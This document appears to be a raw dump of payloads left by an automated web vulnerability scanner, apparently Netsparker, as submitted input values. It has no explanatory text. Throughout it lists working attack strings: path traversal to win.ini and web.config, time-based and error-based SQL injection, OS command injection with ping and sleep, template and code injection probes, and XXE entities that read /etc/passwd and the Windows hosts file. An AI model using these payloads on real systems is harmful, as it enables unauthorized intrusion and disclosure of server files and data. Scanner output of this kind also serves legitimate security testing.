/../../../../../../../../../../web.config

*/netsparker(0x09FD49);/*

1';expr 268409241 - 6789;'

3

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 55d71019-4b04-4b70-b8c8-97b62bc2f0af */

|ping -n 25 127.0.0.1

<%= "#{268409241-83943}" %>

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

print(int)0xFFF9999-82552

/../../../../../../../../../../windows/win.ini

'+netsparker(0x09FD57)+'

1';expr 268409241 - 52879;'

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 7d728657-767f-40f7-967f-05f578b9430e */

|sleep 25

<%= "#{268409241-97383}" %>

-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27

print(int)0xFFF9999-75060;

file:///windows/win.ini

"+netsparker(0x09FD76)+"

1;expr 268409241 - 45325;x

3

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 39e483de-667b-49d0-baf2-0b7e0498d13b */

-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1

print(int)0xFFF9999-33937;

/../../../../../../../../../../windows/win.ini.php

\';netsparker(0x09FD8A);///

1;expr 268409241 - 27876;x

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>

3

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 45245437-84e6-43fd-9376-ba5ba2aa629e */

3

c:\windows\win.ini

' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA

+print(int)0xFFF9999-16019;//

&#39;,netsparker(0x09FDA8),&#39;

expr 268409241 - 44903;

3

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* f1d16d72-e36c-4e63-8f0e-5693f1bb33c6 */

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+print(int)0xFFF9999-34109;//

3

netsparker(0x09FDE2)

expr 268409241 - 74525;

3

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 7286f40f-0fb6-4f13-80a4-78e38aa96a62 */

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

'+print(int)0xFFF9999-94547+'

netsparker(0x09FE0C);

expr 268409241 - 88138